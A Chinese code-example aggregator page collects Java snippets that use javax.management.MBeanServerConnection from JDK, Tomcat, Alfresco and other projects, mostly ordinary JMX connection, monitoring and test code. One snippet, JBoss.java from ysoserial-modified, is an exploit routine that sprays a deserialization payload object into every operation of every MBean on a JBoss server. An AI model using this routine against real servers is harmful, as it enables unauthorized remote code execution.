java类javax.management.MBeanServerConnection的实例源码

RMIConnector.java 文件源码 项目:jdk8u-jdk 阅读 28 收藏 0 点赞 0 评论 0
public synchronized MBeanServerConnection
        getMBeanServerConnection(Subject delegationSubject)
        throws IOException {

    if (terminated) {
        if (logger.traceOn())
            logger.trace("getMBeanServerConnection","[" + this.toString() +
                    "] already closed.");
        throw new IOException("Connection closed");
    } else if (!connected) {
        if (logger.traceOn())
            logger.trace("getMBeanServerConnection","[" + this.toString() +
                    "] is not connected.");
        throw new IOException("Not connected");
    }

    return getConnectionWithSubject(delegationSubject);
}
ClientJmxDiscTest.java 文件源码 项目:Byter 阅读 21 收藏 0 点赞 0 评论 0
@Test
public void testSingleWriter() throws IOException {
    final JMXConnector connection = getConnection();
    final MBeanServerConnection mbs = getMbeanServer(connection);
    final ObjectName writerObject = getWriterObjectName(mbs);
    final String fileName = StringGenerator.nextRandomString(5);
    final File file = new File(testSpaceDirectory, fileName);
    //set parameter to service
    JmxClientDiscHelper.setByteTarget(mbs,writerObject, (long) (10* TransformValues.MEGABYTE));
    JmxClientDiscHelper.setChunkSize(mbs,writerObject,64000);
    JmxClientDiscHelper.setFileName(mbs,writerObject, fileName);
    JmxClientDiscHelper.setOutputPath(mbs,writerObject,testSpaceDirectory);
    JmxClientDiscHelper.setWriterBufferSize(mbs,writerObject,64000);
    JmxClientDiscHelper.setWriterImplementation(mbs,writerObject, WriterType.BufferedWriter.getKey());
    //set run parameter

    //start a single writer
    JmxClientDiscHelper.startWriter(mbs,writerObject);
}
JMXAccessorTask.java 文件源码 项目:tomcat7 阅读 32 收藏 0 点赞 0 评论 0
/**
 * Execute the specified command. This logic only performs the common
 * attribute validation required by all subclasses; it does not perform any
 * functional logic directly.
 * 
 * @exception BuildException
 *                if a validation error occurs
 */
@Override
public void execute() throws BuildException {
    if (testIfCondition() && testUnlessCondition()) {
        try {
            String error = null;

            MBeanServerConnection jmxServerConnection = getJMXConnection();
            error = jmxExecute(jmxServerConnection);
            if (error != null && isFailOnError()) {
                // exception should be thrown only if failOnError == true
                // or error line will be logged twice
                throw new BuildException(error);
            }
        } catch (Exception e) {
            if (isFailOnError()) {
                throw new BuildException(e);
            } else {
                handleErrorOutput(e.getMessage());
            }
        } finally {
            closeRedirector();
        }
    }
}
RMIConnector.java 文件源码 项目:OpenJSharp 阅读 24 收藏 0 点赞 0 评论 0
public synchronized MBeanServerConnection
        getMBeanServerConnection(Subject delegationSubject)
        throws IOException {

    if (terminated) {
        if (logger.traceOn())
            logger.trace("getMBeanServerConnection","[" + this.toString() +
                    "] already closed.");
        throw new IOException("Connection closed");
    } else if (!connected) {
        if (logger.traceOn())
            logger.trace("getMBeanServerConnection","[" + this.toString() +
                    "] is not connected.");
        throw new IOException("Not connected");
    }

    return getConnectionWithSubject(delegationSubject);
}
JBossWorkManagerUtils.java 文件源码 项目:lams 阅读 21 收藏 0 点赞 0 评论 0
/**
 * Obtain the default JBoss JCA WorkManager through a JMX lookup
 * for the JBossWorkManagerMBean.
 * @param mbeanName the JMX object name to use
 * @see org.jboss.resource.work.JBossWorkManagerMBean
 */
public static WorkManager getWorkManager(String mbeanName) {
    Assert.hasLength(mbeanName, "JBossWorkManagerMBean name must not be empty");
    try {
        Class<?> mbeanClass = JBossWorkManagerUtils.class.getClassLoader().loadClass(JBOSS_WORK_MANAGER_MBEAN_CLASS_NAME);
        InitialContext jndiContext = new InitialContext();
        MBeanServerConnection mconn = (MBeanServerConnection) jndiContext.lookup(MBEAN_SERVER_CONNECTION_JNDI_NAME);
        ObjectName objectName = ObjectName.getInstance(mbeanName);
        Object workManagerMBean = MBeanServerInvocationHandler.newProxyInstance(mconn, objectName, mbeanClass, false);
        Method getInstanceMethod = workManagerMBean.getClass().getMethod("getInstance");
        return (WorkManager) getInstanceMethod.invoke(workManagerMBean);
    }
    catch (Exception ex) {
        throw new IllegalStateException(
                "Could not initialize JBossWorkManagerTaskExecutor because JBoss API is not available", ex);
    }
}
JMXAccessorGetTask.java 文件源码 项目:apache-tomcat-7.0.73-with-comment 阅读 26 收藏 0 点赞 0 评论 0
/**
 * @param jmxServerConnection
 * @param name
 * @return The value of the given named attribute
 * @throws Exception
 */
protected String jmxGet(MBeanServerConnection jmxServerConnection,String name) throws Exception {
    String error = null;
    if(isEcho()) {
        handleOutput("MBean " + name + " get attribute " + attribute );
    }
    Object result = jmxServerConnection.getAttribute(
            new ObjectName(name), attribute);
    if (result != null) {
        echoResult(attribute,result);
        createProperty(result);
    } else
        error = "Attribute " + attribute + " is empty";
    return error;
}
ReaderJmxTest.java 文件源码 项目:Byter 阅读 23 收藏 0 点赞 0 评论 0
/**
 * Test all base variables of the reader jmx interface
 */
@Test
public void t1testStandardVariableOverJMX() throws IOException {
    final JMXConnector connection = getConnection();
    final MBeanServerConnection mbs = getMbeanServer(connection);
    final ObjectName readerObject = getReaderObjectName(mbs);
    //assert path
    final String path = JmxClientReaderHelper.getFilePath(mbs,readerObject);
    Assert.assertEquals(System.getProperty("user.dir"), path);
    //assert filename
    final String filename = JmxClientReaderHelper.getFileName(mbs,readerObject);
    Assert.assertEquals("none", filename);
    //assert chunksize
    final int chunkSize = JmxClientReaderHelper.getChunkSize(mbs,readerObject);
    Assert.assertEquals(8192, chunkSize);
    //assert takeMeasurements
    final String takeMeasurements = JmxClientReaderHelper.getTakeMeasurements(mbs,readerObject);
    final boolean takeMeasurementsAsBoolean = JmxClientReaderHelper.getTakeMeasurementsAsBoolean(mbs,readerObject);
    Assert.assertEquals(true, takeMeasurementsAsBoolean);
    Assert.assertEquals("true", takeMeasurements);
    //assert measurementvolume
    final int measurementVolume = JmxClientReaderHelper.getMeasurementVolume(mbs,readerObject);
    Assert.assertEquals(-1,measurementVolume);
    //assert readertype
    final String readerType = JmxClientReaderHelper.getReaderType(mbs,readerObject);
    final ReaderType readerTypeAsEnum = JmxClientReaderHelper.getReaderTypeAsType(mbs,readerObject);
    Assert.assertEquals(ReaderType.none, readerTypeAsEnum);
    Assert.assertEquals("none", readerType);
}
JmxClientReaderHelper.java 文件源码 项目:Byter 阅读 24 收藏 0 点赞 0 评论 0
/**
 * get the current state of the TakeMeasurements flag as boolean.
 * @param mbs mbean server
 * @param on client reader object name
 * @return boolean | false is the default value or error value
 */
public static boolean getTakeMeasurementsAsBoolean(final MBeanServerConnection mbs, final ObjectName on){
    String param = getTakeMeasurements(mbs,on);
    if("true".equals(param))
        return true;
    else if("false".equals(param))
        return false;
    else
        log.log(Level.INFO,"JmxClientReaderHelper getTakeMeasurement - JMX returned some weird value for TakeMeasurements: " + param);
    return false;
}
AuthorizationTest.java 文件源码 项目:openjdk-jdk10 阅读 28 收藏 0 点赞 0 评论 0
protected int doSetRequest(MBeanServerConnection mbsc,
                           ObjectName on,
                           boolean expectedException) {
    int errorCount = 0;

    try {
        Utils.debug(Utils.DEBUG_STANDARD,
            "ClientSide::doSetRequest: Set attributes of the MBean") ;

        Attribute attribute = new Attribute("Attribute", "My value") ;
        mbsc.setAttribute(on, attribute) ;

        if (expectedException) {
            System.out.println("ClientSide::doSetRequest: " +
                "(ERROR) Set did not fail with expected SecurityException");
            errorCount++;
        } else {
            System.out.println("ClientSide::doSetRequest: (OK) Set succeed") ;
        }
    } catch(Exception e) {
        Utils.printThrowable(e, true) ;
        if (expectedException) {
            if (e instanceof java.lang.SecurityException) {
                System.out.println("ClientSide::doSetRequest: " +
                    "(OK) Set failed with expected SecurityException") ;
            } else {
                System.out.println("ClientSide::doSetRequest: " +
                    "(ERROR) Set failed with " +
                    e.getClass() + " instead of expected SecurityException");
                errorCount++;
            }
        } else {
            System.out.println("ClientSide::doSetRequest: (ERROR) Set failed");
            errorCount++;
        }
    }
    return errorCount;
}
AgentLoggerJMXProxy.java 文件源码 项目:Pogamut3 阅读 25 收藏 0 点赞 0 评论 0
public AgentLoggerJMXProxy(IAgentId agentName, MBeanServerConnection mbsc, ObjectName parentName) {
    super(agentName);
    this.mbsc = mbsc;
    this.parentName = parentName;
    ObjectName objectName = AgentLogger.getJMXAgentLoggerName(parentName);        
    this.agentLoggerProxy = new DynamicProxy(objectName, mbsc); 
}
OldMBeanServerTest.java 文件源码 项目:openjdk-jdk10 阅读 27 收藏 0 点赞 0 评论 0
public MBeanServerConnection call() {
    MBeanServer mbs = MBeanServerFactory.newMBeanServer();
    try {
        JMXServiceURL url = new JMXServiceURL("service:jmx:rmi://");
        JMXConnectorServer cs =
            JMXConnectorServerFactory.newJMXConnectorServer(
                url, null, mbs);
        cs.start();
        JMXServiceURL addr = cs.getAddress();
        connector = JMXConnectorFactory.connect(addr);
        return connector.getMBeanServerConnection();
    } catch (IOException e) {
        throw new RuntimeException(e);
    }
}
AuthorizationTest.java 文件源码 项目:openjdk-jdk10 阅读 37 收藏 0 点赞 0 评论 0
protected int doCreateRequest(MBeanServerConnection mbsc,
                              ObjectName on,
                              boolean expectedException) {
    int errorCount = 0;

    try {
        Utils.debug(Utils.DEBUG_STANDARD,
            "ClientSide::doCreateRequest: Create and register the MBean") ;

        mbsc.createMBean("Simple", on) ;

        if (expectedException) {
            System.out.println("ClientSide::doCreateRequest: " +
                "(ERROR) Create did not fail with expected SecurityException");
            errorCount++;
        } else {
            System.out.println("ClientSide::doCreateRequest: (OK) Create succeed") ;
        }
    } catch(Exception e) {
        Utils.printThrowable(e, true) ;
        if (expectedException) {
            if (e instanceof java.lang.SecurityException) {
                System.out.println("ClientSide::doCreateRequest: " +
                    "(OK) Create failed with expected SecurityException") ;
            } else {
                System.out.println("ClientSide::doCreateRequest: " +
                    "(ERROR) Create failed with " +
                    e.getClass() + " instead of expected SecurityException");
                errorCount++;
            }
        } else {
            System.out.println("ClientSide::doCreateRequest: " +
                "(ERROR) Create failed");
            errorCount++;
        }
    }
    return errorCount;
}
JmxDumpUtil.java 文件源码 项目:alfresco-repository 阅读 24 收藏 0 点赞 0 评论 0
/**
 * Dumps a local or remote MBeanServer's entire object tree for support purposes. Nested arrays and CompositeData
 * objects in MBean attribute values are handled.
 * 
 * @param connection
 *            the server connection (or server itself)
 * @param out
 *            PrintWriter to write the output to
 * @throws IOException
 *             Signals that an I/O exception has occurred.
 */
public static void dumpConnection(MBeanServerConnection connection, PrintWriter out) throws IOException
{
    JmxDumpUtil.showStartBanner(out);

    // Get all the object names
    Set<ObjectName> objectNames = connection.queryNames(null, null);

    // Sort the names (don't assume ObjectName implements Comparable in JDK 1.5)
    Set<ObjectName> newObjectNames = new TreeSet<ObjectName>(new Comparator<ObjectName>()
    {
        public int compare(ObjectName o1, ObjectName o2)
        {
            return o1.toString().compareTo(o2.toString());
        }
    });
    newObjectNames.addAll(objectNames);
    objectNames = newObjectNames;


    // Dump each MBean
    for (ObjectName objectName : objectNames)
    {
        try
        {
            printMBeanInfo(connection, objectName, out);
        }
        catch (JMException e)
        {
            // Sometimes beans can disappear while we are examining them
        }
    }
}
JmxDumpUtil.java 文件源码 项目:alfresco-repository 阅读 28 收藏 0 点赞 0 评论 0
/**
 * Dumps the details of a single MBean.
 * 
 * @param connection
 *            the server connection (or server itself)
 * @param objectName
 *            the object name
 * @param out
 *            PrintWriter to write the output to
 * @throws IOException
 *             Signals that an I/O exception has occurred.
 * @throws JMException
 *             Signals a JMX error
 */
private static void printMBeanInfo(MBeanServerConnection connection, ObjectName objectName, PrintWriter out)
        throws IOException, JMException
{
    Map<String, Object> attributes = new TreeMap<String, Object>();
    MBeanInfo info = connection.getMBeanInfo(objectName);
    attributes.put("** Object Name", objectName.toString());
    attributes.put("** Object Type", info.getClassName());
    for (MBeanAttributeInfo element : info.getAttributes())
    {
        Object value;
        if (element.isReadable())
        {
            try
            {
                value = connection.getAttribute(objectName, element.getName());
            }
            catch (Exception e)
            {
                value = JmxDumpUtil.PROTECTED_VALUE;
            }
        }
        else
        {
            value = JmxDumpUtil.PROTECTED_VALUE;
        }
        attributes.put(element.getName(), value);
    }
    if (objectName.getCanonicalName().equals("Alfresco:Name=SystemProperties"))
    {
        String osName = (String) attributes.get(OS_NAME);
        if (osName != null && osName.toLowerCase().startsWith("linux"))
        {
            attributes.put(OS_NAME, updateOSNameAttributeForLinux(osName));
        }
    }
    tabulate(JmxDumpUtil.NAME_HEADER, JmxDumpUtil.VALUE_HEADER, attributes, out, 0);
}
JBoss.java 文件源码 项目:ysoserial-modified 阅读 25 收藏 0 点赞 0 评论 0
private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
        throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
    Object[] params = new Object[1];
    params[ 0 ] = payloadObject;
    System.err.println("Querying MBeans");
    Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
    System.err.println("Found " + testMBeans.size() + " MBeans");
    for ( ObjectInstance oi : testMBeans ) {
        MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
        for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) {
            try {
                mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {});
                System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
                return;
            }
            catch ( Throwable e ) {
                String msg = e.getMessage();
                if ( msg.startsWith("java.lang.ClassNotFoundException:") ) {
                    int start = msg.indexOf('"');
                    int stop = msg.indexOf('"', start + 1);
                    String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : "<unknown>";
                    if ( !"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) {
                        int cstart = msg.indexOf(':');
                        int cend = msg.indexOf(' ', cstart + 2);
                        String cls = msg.substring(cstart + 2, cend);
                        System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
                    }
                }
                else {
                    System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
                    return;
                }
            }
        }
    }
}
JMXAccessorGetTask.java 文件源码 项目:lazycat 阅读 28 收藏 0 点赞 0 评论 0
/**
 * @param jmxServerConnection
 * @param name
 * @return The value of the given named attribute
 * @throws Exception
 */
protected String jmxGet(MBeanServerConnection jmxServerConnection, String name) throws Exception {
    String error = null;
    if (isEcho()) {
        handleOutput("MBean " + name + " get attribute " + attribute);
    }
    Object result = jmxServerConnection.getAttribute(new ObjectName(name), attribute);
    if (result != null) {
        echoResult(attribute, result);
        createProperty(result);
    } else
        error = "Attribute " + attribute + " is empty";
    return error;
}
JMXAccessorUnregisterTask.java 文件源码 项目:tomcat7 阅读 22 收藏 0 点赞 0 评论 0
/**
 * Execute the specified command, based on the configured properties. The
 * input stream will be closed upon completion of this task, whether it was
 * executed successfully or not.
 * 
 * @exception Exception
 *                if an error occurs
 */
@Override
public String jmxExecute(MBeanServerConnection jmxServerConnection)
    throws Exception {

    if (getName() == null) {
        throw new BuildException("Must specify a 'name'");
    }
    return  jmxUuregister(jmxServerConnection, getName());
 }
JMXAccessorUnregisterTask.java 文件源码 项目:tomcat7 阅读 23 收藏 0 点赞 0 评论 0
/**
 * Unregister Mbean
 * @param jmxServerConnection
 * @param name
 * @return The value of the given named attribute
 * @throws Exception
 */
protected String jmxUuregister(MBeanServerConnection jmxServerConnection,String name) throws Exception {
    String error = null;
    if(isEcho()) {
        handleOutput("Unregister MBean " + name  );
    }
    jmxServerConnection.unregisterMBean(
            new ObjectName(name));
    return error;
}
JMXAccessorCreateTask.java 文件源码 项目:tomcat7 阅读 26 收藏 0 点赞 0 评论 0
/**
 * Execute the specified command, based on the configured properties. The
 * input stream will be closed upon completion of this task, whether it was
 * executed successfully or not.
 * 
 * @exception Exception
 *                if an error occurs
 */
@Override
public String jmxExecute(MBeanServerConnection jmxServerConnection)
    throws Exception {

    if (getName() == null) {
        throw new BuildException("Must specify a 'name'");
    }
    if ((className == null)) {
        throw new BuildException(
                "Must specify a 'className' for get");
    }
    return jmxCreate(jmxServerConnection, getName());
 }
JMXMetricController.java 文件源码 项目:kmanager 阅读 22 收藏 0 点赞 0 评论 0
private Map<String, MeterMetric> getMetricsFromMBean(MBeanServerConnection mBeanServerConnection,
        Optional<String> topic) {
    Map<String, MeterMetric> result = new HashMap<String, MeterMetric>();
    KafkaMetrics metrics = new KafkaMetrics();
    for (String metric : metricName) {
        if (result.containsKey(metric)) {
            result.put(metric, merge(result.get(metric), metrics.getItem(mBeanServerConnection, topic, metric)));
        } else {
            result.put(metric, metrics.getItem(mBeanServerConnection, topic, metric));
        }
    }
    return result;
}
JMXAccessorGetTask.java 文件源码 项目:tomcat7 阅读 24 收藏 0 点赞 0 评论 0
/**
 * @param jmxServerConnection
 * @param name
 * @return The value of the given named attribute
 * @throws Exception
 */
protected String jmxGet(MBeanServerConnection jmxServerConnection,String name) throws Exception {
    String error = null;
    if(isEcho()) {
        handleOutput("MBean " + name + " get attribute " + attribute );
    }
    Object result = jmxServerConnection.getAttribute(
            new ObjectName(name), attribute);
    if (result != null) {
        echoResult(attribute,result);
        createProperty(result);
    } else
        error = "Attribute " + attribute + " is empty";
    return error;
}
JMXAccessorInvokeTask.java 文件源码 项目:lazycat 阅读 27 收藏 0 点赞 0 评论 0
/**
 * Execute the specified command, based on the configured properties. The
 * input stream will be closed upon completion of this task, whether it was
 * executed successfully or not.
 * 
 * @exception BuildException
 *                if an error occurs
 */
@Override
public String jmxExecute(MBeanServerConnection jmxServerConnection) throws Exception {

    if (getName() == null) {
        throw new BuildException("Must specify a 'name'");
    }
    if ((operation == null)) {
        throw new BuildException("Must specify a 'operation' for call");
    }
    return jmxInvoke(jmxServerConnection, getName());
}
AMXGlassfish.java 文件源码 项目:openjdk-jdk10 阅读 28 收藏 0 点赞 0 评论 0
/**
    Wait until AMX has loaded and is ready for use.
    <p>
    This will <em>not</em> cause AMX to load; it will block forever until AMX is ready. In other words,
    don't call this method unless it's a convenient thread that can wait forever.
 */
public ObjectName waitAMXReady( final MBeanServerConnection server)
{
    final WaitForDomainRootListenerCallback callback = new WaitForDomainRootListenerCallback(server);
    listenForDomainRoot( server, callback );
    callback.await();
    return callback.getRegistered();
}
JMXAccessorEqualsCondition.java 文件源码 项目:tomcat7 阅读 23 收藏 0 点赞 0 评论 0
protected MBeanServerConnection getJMXConnection()
        throws MalformedURLException, IOException {
    return JMXAccessorTask.accessJMXConnection(
            getProject(),
            getUrl(), getHost(),
            getPort(), getUsername(), getPassword(), ref);
}
MXBeanLookup.java 文件源码 项目:openjdk-jdk10 阅读 24 收藏 0 点赞 0 评论 0
static MXBeanLookup lookupFor(MBeanServerConnection mbsc) {
    synchronized (mbscToLookup) {
        WeakReference<MXBeanLookup> weakLookup = mbscToLookup.get(mbsc);
        MXBeanLookup lookup = (weakLookup == null) ? null : weakLookup.get();
        if (lookup == null) {
            lookup = new MXBeanLookup(mbsc);
            mbscToLookup.put(mbsc, new WeakReference<MXBeanLookup>(lookup));
        }
        return lookup;
    }
}
OldMBeanServerTest.java 文件源码 项目:jdk8u-jdk 阅读 28 收藏 0 点赞 0 评论 0
public MBeanServerConnection call() {
    MBeanServer mbs = MBeanServerFactory.newMBeanServer();
    try {
        JMXServiceURL url = new JMXServiceURL("service:jmx:rmi://");
        JMXConnectorServer cs =
            JMXConnectorServerFactory.newJMXConnectorServer(
                url, null, mbs);
        cs.start();
        JMXServiceURL addr = cs.getAddress();
        connector = JMXConnectorFactory.connect(addr);
        return connector.getMBeanServerConnection();
    } catch (IOException e) {
        throw new RuntimeException(e);
    }
}
AtsJvmMonitor.java 文件源码 项目:ats-framework 阅读 29 收藏 0 点赞 0 评论 0
private JvmReadingInstance getHeapSurvivor(
                                            MBeanServerConnection connection,
                                            ReadingBean reading ) {

    String jvmPort = reading.getParameter("JMX_PORT");
    final MBeanWrapper mbeanWrapper = mbeanWrappers.get(jvmPort);

    return new JvmReadingInstance(connection,
                                  String.valueOf(reading.getDbId()),
                                  reading.getMonitorName(),
                                  getName(reading, jvmPort),
                                  reading.getUnit(),
                                  0) {
        private static final long serialVersionUID = 1L;

        @Override
        public void init() {

            applyMemoryNormalizationFactor();

            mBeanName = mbeanWrapper.getObjectName("java.lang:type=MemoryPool,name=Survivor Space");
        }

        @Override
        public float poll() {

            CompositeData attribute = (CompositeData) mbeanWrapper.getMBeanAttribute(mBeanName,
                                                                                     "Usage");

            return fixLongValue(Long.valueOf( (attribute).get("used").toString()))
                   * normalizationFactor;
        }
    };
}
AtsJvmMonitor.java 文件源码 项目:ats-framework 阅读 27 收藏 0 点赞 0 评论 0
private JvmReadingInstance getClassesCount(
                                            MBeanServerConnection connection,
                                            ReadingBean reading ) {

    String jvmPort = reading.getParameter("JMX_PORT");
    final MBeanWrapper mbeanWrapper = mbeanWrappers.get(jvmPort);

    return new JvmReadingInstance(connection,
                                  String.valueOf(reading.getDbId()),
                                  reading.getMonitorName(),
                                  getName(reading, jvmPort),
                                  reading.getUnit(),
                                  1) {
        private static final long serialVersionUID = 1L;

        @Override
        public void init() {

            mBeanName = mbeanWrapper.getObjectName("java.lang:type=ClassLoading");
        }

        @Override
        public float poll() {

            return fixLongValue(Long.valueOf(mbeanWrapper.getMBeanAttribute(mBeanName,
                                                                            "LoadedClassCount")
                                                         .toString()))
                   * normalizationFactor;
        }
    };
}
AtsJvmMonitor.java 文件源码 项目:ats-framework 阅读 28 收藏 0 点赞 0 评论 0
private JvmReadingInstance getThreadsCount(
                                            MBeanServerConnection connection,
                                            ReadingBean reading ) {

    String jvmPort = reading.getParameter("JMX_PORT");
    final MBeanWrapper mbeanWrapper = mbeanWrappers.get(jvmPort);

    return new JvmReadingInstance(connection,
                                  String.valueOf(reading.getDbId()),
                                  reading.getMonitorName(),
                                  getName(reading, jvmPort),
                                  reading.getUnit(),
                                  1) {
        private static final long serialVersionUID = 1L;

        @Override
        public void init() {

            mBeanName = mbeanWrapper.getObjectName("java.lang:type=Threading");
        }

        @Override
        public float poll() {

            return fixLongValue(Long.valueOf(mbeanWrapper.getMBeanAttribute(mBeanName, "ThreadCount")
                                                         .toString()))
                   * normalizationFactor;
        }
    };
}
MXBeanInteropTest2.java 文件源码 项目:openjdk-jdk10 阅读 24 收藏 0 点赞 0 评论 0
/**
 * Prints all MBeans whatever the domain is.
 */
private static void printMBeans(MBeanServerConnection mbsc) throws Exception {
    Set<ObjectName> set = mbsc.queryNames(null, null);
    System.out.println("---- MBeans found :");

    for (Iterator<ObjectName> iter = set.iterator(); iter.hasNext(); ) {
        System.out.println(iter.next().toString());
    }

    System.out.println("\n") ;
}


问题


面经


文章

微信
公众号

扫码关注公众号